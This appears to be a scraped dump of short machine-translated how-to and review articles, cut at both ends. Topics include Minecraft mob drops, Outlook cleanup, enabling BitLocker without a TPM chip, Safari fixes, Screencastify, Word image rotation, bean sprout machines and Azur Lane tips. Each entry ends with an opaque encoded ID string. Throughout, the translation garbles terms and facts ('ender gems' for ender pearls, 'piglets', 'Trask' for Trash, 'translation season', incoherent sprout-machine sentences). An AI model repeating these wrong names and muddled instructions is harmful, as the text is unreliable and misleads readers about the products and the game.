Cows are the two best mobs to be a food source in Minecraft. Pork stew and cooked steak are some of the most productive foods a player can have in their inventory.\nPiglin Bartering   This is the only mob on this list that doesn't involve killing. Adult piglets can trade gold bars for certain items when the gold bar falls near them or the player uses it while looking at them.\nIt produces tons of items in exchange for gold. There are many rare items in the drop list, including the rare crying obsidian stone and the useful ender gem.\nEnderman   Enderman is one of the most iconic mobs in Minecraft. They provide ender gems that allow the player to teleport when thrown. With enough Protection, Feather Falling, enough food and ender gems, players can go long distances quickly. Everyone also needs to beat it to complete the game. The Ender Pearl can be crafted into Eyes of Ender for use in Stronghold.\nncG1vNJzZmismaXArq3KnmWcp51krq24jKamm6tdlrulecitnKarXZm%2FsLzPnptmnqKkum65zpuqZqGeYrqqusScqZqepA%3D%3D\n","link":"/post/all-mobs-and-items-dropped-from-mobs-in-minecraft/","section":"post","tags":null,"title":"All mobs and items dropped from mobs in Minecraft"},{"body":"TipsMake.com - Cleaning Outlook mailboxes from time to time can take a lot of time, especially for those who work in a specialized environment exposed to the Internet, can receive several dozen emails a day . In parallel with it, we have to keep the email threads exchanged for each issue separately to avoid deleting them.\nIt is good that Microsoft Office 2010 has the ability to automatically clean conversations. It is very convenient and works really well. Here is how to configure it to work.\nStep 1\nOn the Home ribbon, click Clean Up and you will see the following 3 options:\n- Clean Up Conversation - just clean an email string\n- Clean Up Folder - clean up all inboxes or folders\n- Clean Up Folder \u0026amp; Subfolders\n  Choose the option that suits your needs, if you are new to Outlook 2010, you should start with cleaning up an email string to avoid accidentally deleting important emails. With any option, you must ensure that you are selecting the correct email directory or string to clean.\n  Step 2\nAfter selecting the Clean Up option, a dialog box will appear, select Settings on this dialog box\n  Step 3\nThe Outlook Options window will appear, go to the Mail tab, scroll down to the Conversation Clean Up section , where you can customize the Clean Up tool. Most of the settings are already standard, but if you need to change some things like default deleted emails will go to Outlook's Trask, but you want it to be moved to another folder and not Trask, then click Click the Browse button and browse to the predefined folder, click OK to save the changes.\n  Step 4\nOnce you have the settings you want, click Clean Up on the dialog box that appears earlier.\n  After clicking that button, Outlook will browse the email folder or string and clean up any redundant emails based on the criteria set in step 3.\nIf the cleaning is successful with some emails, you will not receive any notifications but those emails will be moved to Delete Items (Trask) or any folder you specified in step 3.\nIf there is nothing to clean , you will see a dialog box saying \" No Messenges were cleaned up \".\n  or  ncG1vNJzZmismaXArq3KnmWcp51ksK2xwKdkn6ecmbKzv4yapZ1llaKuqrjSZqanZZ%2Bqwa27zqRka2hhZQ%3D%3D\n","link":"/post/clean-folders-and-emails-on-outlook-2010/","section":"post","tags":null,"title":"Clean folders and emails on Outlook 2010"},{"body":"ELSA recently announced it would be free to use the English language learning app ELSA Speak to encourage users to hone their foreign language skills at home, during a time of widespread disease.\nELSA Speak is the only English speaking and communication app available today that can correct pronunciation of each syllable correctly, and give instant comments and correct correction instructions. The application possesses artificial intelligence technology with exclusive deep learning and speech recognition.\n ELSA Speak application\nThe paid package of ELSA Speak is ELSA Pro which costs 692,000 VND / year and 1,995,000 VND for a lifetime. However, with this new program, all Vietnamese people nationwide will be free to use the ELSA Speak application within 3 months.\nTo be able to register for free use of ELSA Speak, users only need to do two steps as follows:\nStep 1: Download the free ELSA Speak app on the App Store or Google Play\nStep 2: Register information HERE to receive the activation code for the ELSA PRO package.\nThe deadline to register for free ELSA Speak will last from March 25 to April 3.\nncG1vNJzZmismaXArq3KnmWcp51ksq2%2FwGaqqZ2RoHqmuNKaZKyolZa4brHNoKOiq5hiuaat0aegp59dlr2xuMicmK2hn6N6qr%2BMn6menV2pvG6xzZymrqqRnLJuwdKeqaxlpKR6tMDUnbBmmaRitbC5xGagp2WknbJuucidm6WdXaSzbsDHnmStqpGjwK2t06Kmp2Wjmq60u80%3D\n","link":"/post/elsa-speak-elsa-speak-english-learning-application-is-free-to-encourage-users-to-study-at-home-in-the-middle-of-the-translation-season/","section":"post","tags":null,"title":"ELSA Speak ELSA Speak English learning application is free to encourage users to study at home in the middle of the translation season"},{"body":"BitLocker is a feature built into Windows that helps us encrypt and protect data against unauthorized access or theft of data on our computer. However, to use this feature, your computer must be integrated with a security chip called Trusted Platform Module (TPM), usually this chip is only integrated on newer laptops or motherboards. Computers that do not support TPM when enabling BitLocker will have an error message. But do not worry, if your computer does not support TPM we can still activate BitLocker in the system, of course the security will not be as high as the computers that support TPM. Please follow along the following tutorial of TipsMake.com to know how to do it.\n  Step 1: You press Windows + R key combination to open the Run dialog box, then enter the command gpedit.msc and press Enter\n  Step 2 : The Local Group Polici Editor window appears, you browse for the following link:\nComputer Configuration\u0026gt; Administrative Templates\u0026gt; Windows Components\u0026gt; BitLocker Drive Encryption\u0026gt; Operating System Drives\nThen in the right window, double-click the Require additional authentication at startup line\n  Step 3: In the new window, select Enabled then go to the bottom, select Allow BitLocker without a compatible TPM. Finally, click Apply to save the settings and exit the window.\n  Now you can try to enable the BitLocker feature on a certain drive partition, such as drive C, to see no error messages anymore:\n  So with just a few simple steps, we can enable BitLocker encryption on computers that do not support TPM chips, hope you will find the article useful. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyboK2kn5i4pr6MnqWcqqmlwaq7zWamp2WTpLqxwdOeqaxlpJ2utXnDqGSnp6RiwLa8z6iprWWknbJuwM%2BmZJygmaU%3D\n","link":"/post/how-to-enable-bitlocker-encryption-on-computers-that-do-not-support-the-tpm-chip/","section":"post","tags":null,"title":"How to enable BitLocker encryption on computers that do not support the TPM chip"},{"body":"Ever encountered the problem of not being able to load pages on Safari on a Mac? Obviously your network connection is extremely stable, but a website can't keep loading on Safari. Here is how to fix this phenomenon.\nFortunately, this is an extremely easy to fix error.\nPerhaps when you encounter this problem, you will immediately switch to another web browser to use as Chrome or Edge. This is the fastest way if you are in a hurry to work. But if you have time, why not completely treat this unpleasant disease?\nOne way is to erase all Safari data on the device. This is a quick and effective way, but you will have to trade off all the archives, have to log back all the pages that you frequently visit. This can cause some discomfort.\nInstead of deleting everything, you can simply focus on pages that don't load. Here's how to fix the phenomenon of a site can not load on Safari.\nBefore you proceed, you must make sure that the problem really lies with Safari. Try downloading the page on another device, like an iPhone or iPad, to see if there's a problem.\nIf your Internet connection is stable and the pages are downloadable on other devices, follow these steps to delete Safari data.\n1. Open Safari .\n2. Click Safari on the toolbar menu, and then click Preferences…\n3. Select Privacy\u0026gt; Manage Website Data .\nPrivacy\u0026gt; Manage Website Data . 4. Use the search bar on the right corner to find faulty page data.\n5. Select the data and click Remove .\nSearch for page data and then delete 6. Click Done .\nWhen you're done, try going to that page again, hoping there won't be a problem this time. However, users still encounter this problem after a few weeks and unfortunately, you have to repeat the above steps again.\nIf this method still fails to load the page, perhaps this site has been prevented by something. If you use an ad blocking program or content, that website may have been accidentally blacklisted. Now try restarting Safari.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq0rcWaqaJllae%2FsL6MnJinZZ6kwW64zpqbZq%2BVl8CqwMSsZKimXaKupA%3D%3D\n","link":"/post/how-to-fix-safari-error-can-not-load-websites-on-mac/","section":"post","tags":null,"title":"How to fix Safari error can not load websites on Mac"},{"body":"Whether you are using a tablet or phone, you can use Google Photos to rotate videos that have been shot in the wrong direction.\nUse Google Photos to rotate videos You certainly do not want to upload a video but have to turn your neck to the side to see it right? Fortunately, you can fix this in just a second using Google Photos.\nAll you need to do is create a Google Photos account and install the Google Photos app on your phone. For most Android phones, this app is pre-installed as part of Google Suite and is linked to the Google account you use on your phone.\n18 tips to help you master Google Photos How to upload videos to Google Photos   Open Gallery on your Android phone or tablet. Click on the video you want to upload. Click the share icon on the screen. Click Upload to Google Photos . If you have multiple Google accounts, select the account you want to upload videos to. How to rotate videos in Google Photos   Open Google Photos on Android phones. Click the Search bar. Click Videos . Click on the video you want to rotate. Click the slider bar icon (in the middle of the bottom of the screen). Click Rotate until the video is the right way you want. Click Save . Things you can't do with Google Photos You can rotate any video you have recorded directly with your phone or downloaded to your phone, but you cannot rotate any videos you watch on the Internet. The video needs to be saved to your phone and then uploaded to Google Photos to adjust to the right way.\nIf the video is shot vertically and your phone is horizontally positioned, then you don't need Google Photos. In this case, simply rotate the screen of your phone. Also do not try to record video vertically and then use the application to rotate it horizontally. That's impossible. Instead, turn your phone screen back in the right direction when recording a video.\nAs mentioned above, if you are looking for ways to change the video that is turned horizontally to vertical or vice versa, then you will not be able to do this from your phone. Instead, you'll need some editing software like iMovie on Mac or Windows Movie Maker. These programs will allow you to rotate your video and change the width / vertical of the video the way you want.\nOther options 6 solutions to replace the best Google Photos While the easiest option to rotate your photos is Google Photos, there are many other technical options. There are many different applications that can help rotate videos. However, most of these applications have ads, requiring you to pay for using the service or having problems using it. This is why Google Photos is recommended in this article.\nHowever, if you really want to choose the best application for video rotation, the top two applications today are Rotate Video FX and Smart Video Rotate and Flip.\nSee more:\nUse Google Photos to store unlimited photos Instructions to install Google Photos for computers How to create and manage shared albums on Google Photos ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqfqa61sYyvoJ2dn6h6sLqMmqWdqp%2BesW7DyK2fZp%2BfpLStsYypn6isn6g%3D\n","link":"/post/how-to-rotate-videos-on-android-with-google-photos/","section":"post","tags":null,"title":"How to rotate videos on Android with Google Photos"},{"body":" You're with a group of people at a social gathering, or trying to open a speech or presentation, and want to tell a funny anecdote. But you're worried about telling the story so it comes across as funny and entertaining, as opposed to...\nPart 1of 2:\nPreparing to Tell the Story  Determine your set up. The set up establishes the premise of the story by providing your audience with the necessary background information and details. Your set up should be as tight and to the point as possible. It should focus on one theme or idea, as you want the story to be brief, but entertaining and easy to understand.   Figure out your punchline. The punchline or laugh line is the heart of the story. It should lead the audience in one direction and then surprise them by suddenly escalating into a more interesting climax or going off into a completely different direction than was suggested by the set up. A twist in the story, or element of surprise, usually makes for a good punchline. Determining your punchline will help you pair down any extra details and tailor the set up so it works up to a big laugh. EXPERT TIP\n\"Sometimes it's best to get to your punchline, wait for the big laugh, then cut the lights and end the scene.\"\n Dan Klein\nImprovisation Coach Dan Klein is an improvisation expert and coach who teaches at the Stanford University Department of Theater and Performance Studies as well as at Stanford's Graduate School of Business. Dan has been teaching improvisation, creativity, and storytelling to students and organizations around the world for over 20 years. Dan received his BA from Stanford University in 1991.  Dan Klein\nImprovisation Coach\n  Write the story down. Read your first draft of the story out loud to determine which points are funny and which points in the set up could be tightened or edited out. Remove any extraneous words and only use adjectives when necessary. If you do use adjectives, make them interesting and attention grabbing; don't use 'big' when you could use 'hulking' 'gigantic' or 'astronomical'.   Practice telling the story in the mirror. Watch your body language as you tell the story. You should be relaxed, friendly, and appear confident.[1] If you are telling a story with different characters, alter and vary your voice to match a character as they talk. Avoid being monotone or mumbling in a low voice. Try to tell the story like you are telling it to a good friend. Don't be too formal or stiff. It's important to appear like you believe in the story you are telling. Make it your own and make it believable to your listener. Pause before the punchline to signal to the listener that they should pay attention. This will ensure they hear the punchline and hopefully, be ready for a big laugh.[2]   Add tags to the story. Once you have practiced the story a few times, you may start to get comfortable with the material and start to add tags, or additional punchlines. Your tags may build on the original punchline, or they may twist the punchline further into a new, funnier direction. Tags will help you capitalize on the momentum of the original punchline and extend the laugh or create an even bigger laugh so don't be afraid to use them.  Part 2of 2:\nTelling the Story  Introduce the story. If you are trying to introduce it into an existing conversation among friends, use a short introductory phrase to begin the story, such as: 'You know, that reminds me of a story…' or 'It's funny you should mention that, just the other day, I was…'\n  Be brief. It's important to get the first laugh as quickly as possible, ideally in the first 30 seconds. Don't worry about setting up an elaborate, detailed scene or mentioning what happened the night before, unless it's full of funny details that get to the point.[3] If you can't tell the story in less than thirty seconds, make sure the first thirty seconds and compelling and entertaining.   Be confident. Don't trail off, don't look away from people and don't stutter. Try to relax and tell the story in a casual tone, like you're telling it to a good friend. Because you have practiced the story beforehand and gotten used to telling the material well, it should be easy to act like a confident storyteller.   Remember to use your hands and face. Well-timed hand movements and facial expressions can really liven up the details of the story and keep your listener engaged. Don't forget to also vary your voice and pause before the punchline. As in all comedy, timing is very important and will contribute to a good telling.   Make eye contact. Don't be afraid to look your audience in the eye as you delve into the details of the story. Eye contact also indicates you are confident and comfortable in front of your audience.   Try to end on the biggest laugh. Most listeners will only remember the last part or punchline of a story. If the ending is flat, it will likely ruin the funnier details in the set up. Remember not to laugh yourself.[4] Ideally, you want to leave the audience laughing and wanting more.   Move on if your audience doesn't laugh. Desperation, no matter how smoothly it's presented, is never funny.[5] If your story doesn't get the big laugh you were hoping for, shrug it off. Wrap up the story with a smile and say something like: 'Well, I guess you had to be there\" or \"I guess it really can't be translated from the original German\". Don't focus on the story if it doesn't go over as well as you had hoped. The best way to recover is to laugh at yourself (even if no one else did) and move on to another topic or subject.   Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyVoblurYyfrKemqWLAtbvRsg%3D%3D\n","link":"/post/how-to-tell-a-funny-story/","section":"post","tags":null,"title":"How to Tell a Funny Story"},{"body":"Imagine you are in a meeting or space that requires absolute silence, but your 'annoying' computer makes a relatively loud sound when starting up, causing you to receive countless annoying glances from people around.\nIf you don't want to encounter such awkward situations, you can completely turn off the startup sound in Windows 11. Here's how.\nTurn off Windows 11 PC startup sound To get started, launch the Settings app on your PC by pressing the Windows + i key combination.\nIn the Settings interface that opens, from the list on the left, click on 'Personalization'.\n  In the corresponding 'Personalization' menu that appears on the right, click 'Themes'.\n  At the top of the 'Themes' page, click 'Sounds'.\n  You will see the system sound settings window open. You scroll to the bottom, uncheck the option 'Play Windows Startup Sound'. Then click 'Apply' and 'OK'.\n  From now on, your Windows 11 PC will no longer play the startup sound when you turn it on. If you change your mind, just tick the 'Play Windows Startup Sound' option again.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK2glWLAta3RraypZaOkwq%2BwjKilZq%2BZo7Gww9JmaGo%3D\n","link":"/post/how-to-turn-off-the-startup-sound-on-windows-11/","section":"post","tags":null,"title":"How to turn off the startup sound on Windows 11"},{"body":"Sprouts, vegetables and vegetables are very popular dishes. However, many people do not feel comfortable buying them at markets or supermarkets. One simple way is to use a machine to make bean sprouts at home.\nIf you are interested in this product, let's find out the top 5 best bean sprouts machines that we recommend later.\n  I. Experience in buying bean sprouts 1. Choose a bean sprouder with a health-safe material Most of the bean sprouts available on the market use primary PP material that does not contain toxic BPA toxins. Therefore, it is very safe for users' health as well as easy to clean and clean after use.\n2. Design and design of the machine The product has a sleek design and convenient design such as a long spring system, easy to adjust the compression or the lid is integrated with many openings that will increase the air conditioning ability, thereby ensuring Considering the adequate supply of necessary oxygen to vegetables, the absorption price and the release of CO2 contribute to a much more fresh and crispy food.\n3. Power of the machine Based on the practical needs of the family and economic conditions, you can make a decision to buy a machine with a suitable capacity, avoid causing waste.\n4. Price Compared to other products, bean sprouts and sprouts are now extremely cheap, at a cost of only 100,000 VND to less than 500,000 VND, so most of us can easily owned if required.\nII. Which branding machine should I choose? 1. Machine to make bean sprouts In recent years, Hanoi University of Science and Technology has successfully researched and manufactured many new products to serve the needs of domestic consumers, including machines to make sprouts BKST.\nSo is the machine making a parking space for Polytechnic good?\nThe device makes the Polytechnic bean sprouts relatively cheap compared to foreign models.\nIn terms of technology, the machine is also developed to best suit the climate conditions of Vietnam. With a price of less than VND 400,000, owning the device is extremely simple for most households.\n2. Machine to make bean sprouts Do Ngoc Chung teacher Bean sprouts maker Do Ngoc Chung is researched and produced in Vietnam by Dr. Do Ngoc Chung (University of Technology - Hanoi National University). This is a product that has been verified by Vietnam Intellectual Property Department so you can be assured of quality.\nThe model is quite diverse, meeting the demand of making bean sprouts, clean sprouts of users.\n3. Kangaroo bean sprouts machine This is a brand of household goods that is too familiar and popular with Vietnamese users. In addition to making bean sprouts, Kangaroo also conquers consumers by quality products such as high quality water purifiers, high-frequency electric rice cookers, blender .\nIs Kangaroo bean sprouts good?\nCurrently, Kangaroo brings to Vietnam 2 outstanding models: Kangaroo KG261 and Kangaroo KG262 , because the products of Kangaroo bean sprouts are all imported from China so the price is relatively high. 1 to 1.1 million VND.\nIII. Top 5 bean sprouts are best rated today 1. Versatile clean bean sprouts making machine GV-102 - Automatic version - Reference price: VND 199,000 Advantages of GV-102 - Automatic version:\nErgonomic design with a well-ventilated lid has increased oxygen absorption, while helping to release CO2 more quickly. Compression is ensured to be the most suitable, without consuming too much material when operating. Multi-function machine, in addition to making bean sprouts, with GV-102 you can make sprouts or pickled salt. Easy to clean and wash after use. The operation of the bean sprouts machine GV-102 is completely power-free, saving electricity consumption. Every day you just need to spend a little time to water, then within about 3-4 days it is possible to harvest a batch of clean bean sprouts, ensure nutrition and safety with health.\n  Specifications:\nSize: 15.8cm x 15.5cm x 26cm Brand: Vietnam Made in Vietnam 2. Machine for cleaning bean sprouts, multi-purpose sprout BKST - Reference price: VND 330,000 Prominent advantages of the machine make bean sprouts BKST:\nThe machine is equipped with a spring system that can adjust the compression when the price of vegetables grows, helping the price to be uniform, high yield. Products that do not use electricity help save more and have a much cheaper price than other types of bean sprouts on the market. The lid-free design is intended to provide ventilation, which helps to increase oxygen and CO2 emissions the fastest, making the respiration process of beans (sprout) the best. Easy to manipulate just watering 2-4 times a day. Harvesting time is only 3-4 days after implementation (for cold weather in Hanoi).   Specifications:\nMade in Vietnam Brand: Vietnam Advanced plastic materials 3. GV-102 industrial bean sprout machine - Reference price: VND 270,000 The difference from other vegetable sprouting machines available on the market is that GV-102 is a non-electric cleaner, which saves electricity and produces outstanding output.\nThe machine with the lower space combined with the bottom drain hole makes the device free of water.\nIndustrial GV-102 can do many types of prices such as green bean sprouts, peanuts, soy bean sprouts . Moreover, the machine is also used for salted pickles, pickled onions .\nThanks to the spring system, bolt, industrial GV-102 can adjust the compression level to match the vegetable price, adjust the fatness of the vegetable price. The device is easy to use and ensures very high food hygiene and safety.\n  Specifications:\nSize: 320mm x 200mm x 310mm Brand: Vietnam Made in Vietnam 4. Versatile clean rack making machine GV-102 - Regular version - Reference price: VND 190,000 GV-102 is widely used on the market and trusted by Vietnamese consumers and highly appreciated for product quality. Machine for fast harvesting time, only after 3 days of implementation. Product prices are very fat, white roots and short, crunchy, sweet and fragrant. You can make lots of prices and leave the whole week in the fridge to eat slowly. GV-102 produces high bean sprouts, reaching 80% to 90%. Only 200-300g of seeds obtained 1.6 - 2.5kg of vegetable price. The machine makes versatile clean bean sprouts GV-102 not only makes vegetables but also uses to pickle and pickle salt, very good onion.   Specifications:\nAdvanced plastic materials Size: 15.8cm x 15.5cm x 26cm Brand: Vietnam Made in Vietnam 5. Kangaroo sprouts vegetable machine KG-262 - Reference price: VND 590,000 Kangaroo sprouts machine KG-262 with case is made of durable plastic, in accordance with food hygiene and safety standards, not harmful to the environment. The position of growing sprouts is transparent, so it is easy to observe the growth of sprouts.\nThe machine uses 360-degree sprinkler method with low capacity without noise, no vibration, does not affect your family's living space.\nKangaroo KG-262 sprouting machine for fast harvesting time of about 3 to 6 days depending on the type of seeds you grow.\n  Specifications:\nCapacity: 15W Voltage source: 220V / 50Hz Size: 29cm x 29cm x 38.5cm Made in China Warranty 12 months With the top 5 machines for making bean sprouts, you will always get the best quality and safe vegetables. Please own the device to be able to make delicious dishes from the bean sprouts all over the house!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FA0aibrpuZo7RuwMeeZK2noGKCbq7ErKtmmpWWu26%2Fz6umrqyj\n","link":"/post/introducing-the-top-5-best-bean-sprouts/","section":"post","tags":null,"title":"Introducing the top 5 best bean sprouts"},{"body":"It's been a long time since Microsoft 's Windows 95 has been the dominant king on the desktop market, but that doesn't mean it's forgotten.In contrast, many OS designs are now learning and bringing some of its designs to new OSs.\nWindows 95 is the standard operating system for comparison with today's modern platforms.We have also seen this popular Microsoft OS appear on the Apple Watch, Android Wear smartwatch and even Xbox One.\nAnd if you're a fan of the old-fashioned old days, have tried the Windows 95 experience right on your browser or run Windows 95 and play Simcity 2000 on your iPhone Xthen you'll probably like this.Now, Windows 95 also turns into an application that can run on Windows, Linux and macOS.\n  Windows 95 becomes an application on Windows, macOS and Linux\nSlack Felix Rieseberg's developer is behind the great application for those who want to experience this old-fashioned feeling.Rieseberg has put this source code and application installer on Github.As a result, familiar applications like Wordpad, MS Paint, and Minesweeper mine detectors all run normally.Unfortunately, Internet Explorer cannot load the page and you cannot access all the files on your computer when using this application.\nThis app weighs only 129MB and surprisingly, it only consumes about 200MB of RAM even if you run all applications, games . on Windows 95.\nDownload Windows 95 on GitHub\nSee more:\nWho would have expected Windows 95 to be remade with modern Windows 10 style is so beautiful! Windows revolution and breakthrough changes through each version Bring 7 old Windows features back to Windows 10 ncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpyfrLutu8CdZLChnpm8uL%2BMcmxmmaCluaqvwK2gqKZdpLtuw8inm6ivo2K6oq%2FOrGSappRiuaq61LE%3D\n","link":"/post/please-download-windows-95-application-on-windows-macos-and-linux/","section":"post","tags":null,"title":"Please download Windows 95 application on Windows, macOS and Linux"},{"body":"Currently, there are many computer screen recording programs that work very effectively such as ApowerREC, Icecream Screen Recorder, Camtasia . However, today TipsMake.com will introduce you a lightweight extension for Google browser. Chrome has the same feature.\nYou can record screen videos for a variety of purposes, such as for learning, making instructional videos or simply recording your images while using the Internet . Instead of using to heavy-duty software, why not try out Screencastify if your needs are only basic?\nAlong track how to use this great utility now offline!\nInstructions for using Screencastify Step 1: Download Screencastify for Google Chrome here.\nStep 2: After the installation is completed, click on the arrow icon of Screencastify on the Chrome toolbar. You will be taken to a Screencastify installation page.\nLog in to your Google account. Consider video and microphone access. Select your work option so that Screencastify will send detailed instructions on how to use it. Step 3: After completing the initial requirements as above, click on the icon of Screencastify to get started.\nThere are usage options as follows:\nBrowser Tab: Record the current browser tab. Webcam Only: Record images using webcam. Desktop: Record the entire current computer screen. Step 4: You can also customize the resolution or number of FPS ( frames per second ) by clicking Options (the gear icon) in the top right corner . You can choose:\nResize Tab: Change the size of the current tab. Limit Resolution: Limit the resolution, from 240p to 1280p. Max Frame Rate: Maximum frame rate (FPS), selectable 1, 5, 10, 30 or 60 Auto Stop: Limit the recording time of a video, which may be unused or some of the available landmarks are 2 minutes, 5 minutes or 10 minutes. Step 5: In each recording option, you can choose to turn on / off your webcam and microphone.\nStep 6: Once you have set the parameters, select Record to start recording. While recording you can click on the Screencastify icon to use options such as Pause , Restart (go back to the beginning) or Stop (end).\nWhile recording, Screencastify provides an additional control panel of tools for you to use. Some options at the control panel:\nPause Recording: Pause recording. Mouse Pointed Alt + M: Mouse control options. Focus mouse Alt + F: Highlight the mouse used. Hide cusor when not moved Alt + H: Hide mouse when inactive. Hightlight click Alt + K: Highlight the mouse click.  Pen Alt + P: Use the stylus to draw on the screen while recording. Eraser Alt + E: Erase brush strokes on the screen while recording. Show clock Alt + C: Display the recording time. Step 7: After recording, you can choose to rename, cut video, delete, download to your computer or upload directly to Youtube, Google Drive.\nYou can also edit videos online here, but this editor will cost you, please consider when using offline.\nSince this is a free extension, there are a few things to keep in mind:\nScreencastify allows screen recording of up to 50 videos. The limit for each video is 10 minutes. When exporting a video, there will be a Screencastify logo in the top right corner of the result, however small. If you want to fix these points, you can upgrade to the Premium version for a bit of cost. In the premium version, you can shoot unlimited videos at any time you like.\nOverall, this is a great add-on. Despite being limited to the free version, Screencastify is still a tool trusted by many Chrome users around the world. Try it out and share it with TipsMake.com.\nHope the article is useful to you.\nSee more:\nQuality Windows screen recording software Instructions for screen recording, video game with Bandicam software How to create animations from videos on Camtasia How to fix broken MP4 file with a simple trick ncG1vNJzZmismaXArq3KnmWcp51kv6avzqubZquZor2tsYysmqudlaN6t7XDnqasZaeewal50pypnp2emK60wMifsGannmKwqb7Oppw%3D\n","link":"/post/record-simple-screen-videos-with-screencastify-on-chrome/","section":"post","tags":null,"title":"Record simple screen videos with Screencastify on Chrome"},{"body":"The following article introduces you in detail to rotate and move images in Word.\n1. Rotate images. To rotate an image in Word, there are 2 ways:\nMethod 1:  Step 1: Click on the image to be rotated -\u0026gt; select the Format tab -\u0026gt; Arrange -\u0026gt; Rotate -\u0026gt; select the available rotation angle or click More Rotate Options:\n  Step 2: Layout dialog box appears, enter rotation angle in Rotate -\u0026gt; click OK:\n ;\nStep 3: After clicking OK, the image has been rotated according to the angle entered:\n  Method 2:  Click on the image -\u0026gt; rotate icon appears as shown -\u0026gt; click on the icon -\u0026gt; hold down the left mouse button and move in the direction you want to rotate:\n  - Results after image rotation:\n  2. Move the image. To move the image the fastest way, click on the image -\u0026gt; when the mouse pointer appears 4-way arrow and click and hold the left mouse button to move the image to the desired position:\n  - In addition, to move the image position compared to the text in different positions by clicking the image -\u0026gt; go to Format tab -\u0026gt; Arrange -\u0026gt; Possitions -\u0026gt; select the image position or click More Layout Options to Customize other locations:\n  - Layout dialog box appears, click the Text Wrapping tab to determine the location of the image, for example, select the image shown behind the text -\u0026gt; OK:\n  - Image results are moved to the back of the word:\n  Above is a detailed guide on how to rotate and move images in Word 2013.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kv7DAwK2cZpmemXquu9WeZKKlkZyytHnIp2Swp6KZ\n","link":"/post/rotate-and-move-images-in-word/","section":"post","tags":null,"title":"Rotate and move images in Word"},{"body":"Joining Azur Lane, everyone will play the role of a seasoned commander, entering the fierce battle in the ocean.\nThe game has some special mechanics and it will take quite a while for new players to discover them all and start thriving. If you are also having difficulty, please refer to the following important tips that Azur Lane gamers need to know.\nTips to play Azur Lane gamers need to know Get a free 6-star train The 6-star ship is the rarest of its kind, extremely hard to find during normal gameplay, even after fighting for weeks. However, if you log into the game every day for just 1 week, you can get 1 free 6 star ship. Once logged in for the required number of days, the ship will be sent to the in-game mailbox.\n  Get special skins for free Collecting different skins is something that gamers who love Waifu girls pay special attention to. There are many skins in Azur Lane, but most of them have to be purchased with gems.\n  If you don't want to spend gems, you can earn free skins by completing some event missions. These quest types are regularly updated and provide a new look for the character, so be sure to check them out often.\nMonitor intimacy Azur Lane has a very unique mechanism of affinity level. The player's ships have 4 different emotional levels, which directly affect their performance on the battlefield.\nEach ship starts at the Stranger level and will have a high degree of intimacy if the player upgrades regularly and is given a break.\nShips that reach the Crush level offer several advantages, such as a shorter cooldown.\n  There is a note that the level of interaction can also reduce the level, to an annoying level if the player frequently uses the ship. In this case, even with a strong ship, gamers can still have difficulty winning battles.\nTreat your ships like real people and remember that working continuously will lower their morale. Therefore, remember to change the ships in the fleet regularly and let them rest.\nPay attention to additional goals   When the battle is over, the reward received will change depending on the level of effectiveness. Players have additional objectives in each battle and completing them will help win more prizes. The most common goal is to finish the match in under 120 seconds.\nDon't reroll If the player does not like the original ship he received, the player should not reroll and start over. This tactic can work well against Knight Chronicles but is completely useless against Azur Lane.\n  The most important reason is that the probability of getting a ship of SR (Super Rare) level is only 7%. Therefore, gamers may not get the desired results even after rerolling many times. Azur Lane is generous in giving away new ships so instead of rerolling, keep playing the game.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80marqGWgoa66ecCzrKtlnJa7pnnGmqSeqqNiu6axw2arqGWbo7y4\n","link":"/post/tips-to-play-azur-lane-gamers-need-to-know/","section":"post","tags":null,"title":"Tips to play Azur Lane gamers need to know"},{"body":"  Dashboard for us is probably not something new. An integral part of making quality business assessments that cover the whole problem. But to understand its meaning and present it is what we need to care. So what is Dashboard? What is Dashboard? Definition of Dashboard?\n1. What is Dashboard? Dashboard can be understood as a digital control panel, or a digital interface used to collect and synthesize data of the entire organization. Not only does the dashboard provide in-depth data about your business, it also gives an overview of each department's productivity, trends, activities, KPIs. ( Key Performance Indicator - also known as performance evaluation index)\n  An example of a Dashboard showing the business performance in a year\nDashboard gives an overview of all aspects of an organization's business so that the presentation must be easily understood and comprehensive only on the reporting page. The explanation, though brief, should cover all the essentials, including metrics for each category and a few important keywords. With customizable flexible reports, managers can see their business performance metrics with multi-dimensional graphs, consolidating reports into the frequently used features as well. will save a lot more time.\n2. What is Dashboard? How is it different from traditional reporting? Dashboard is usually created by professional economic analysts. It must cover all content that the developer wants to present. Issues are aggregated from small reports (Report) collected during the process of production and business activities. It can be seen in one dashboard has a lot Report  (Report) in it. To avoid confusion between the two definitions Report and Dashboard , we need to know the Dashboard is the table of information synthesis to combine multiple report ( Report ) on a display screen, allowing viewers an overview and quickly more Various administrative information. StillReport ( the Report ) is simply the management reports present data in multiple content and different angles depending on the needs of managers.\n3. Definition in Dashboard and the advantages that Dashboard brings.  Dashboard is an integral part of the Business Intelligence Management System ( BI ). With Dashboard , administrators have a better overview of the situation of their business. At the same time they can make short-term or long-term predictions based on the Dashboard . Because it requires a general overview, Dashboard makers must be very careful when selecting data so that it is brief, but covers all the issues raised in that report. Compared to normal report, Dashboardsomewhat superior by the meaning and information it expresses in it. It usually includes small reports such as business activity: finance, business, personnel, etc., until the statistics are recorded over the years as information for predicting plans in future of business.\nIn addition to business, in the digital age, Digital Dashboard is also important for those who work in the field of MMO ( Make Money Online ). With analytics and reporting system of Google ( Google Analytics ), it helps website administrators to statistically count the number of users and the growth rate of websites through each stage.\n  An example of a digital report (Digital Dashboard) on Google Analytics\nAdvantages of the Dashboard system :\n- Intuitive and vivid because it mainly consists of charts, graphs and images so that analysts can find problems quickly.\n- Reduce the pressure for presenters when reading because the report is only summarized in a slide screen or a page.\n- Presenting information that is supportive in making actions and decisions.\n- Flexible, easy to allow users to interact to choose options or indicators ranging from overview to detail quickly and timely for decision making.\n- Save time making and presenting reports because of the automation of Dashboard by creating it on the form templates available on the computer.\nsummary With the knowledge of the Dashboard above. Hopefully through this article, readers will have a better overview of Dashboard , understand how it works and the basic knowledge about Dashboard that readers need to understand. Have a great day studying and 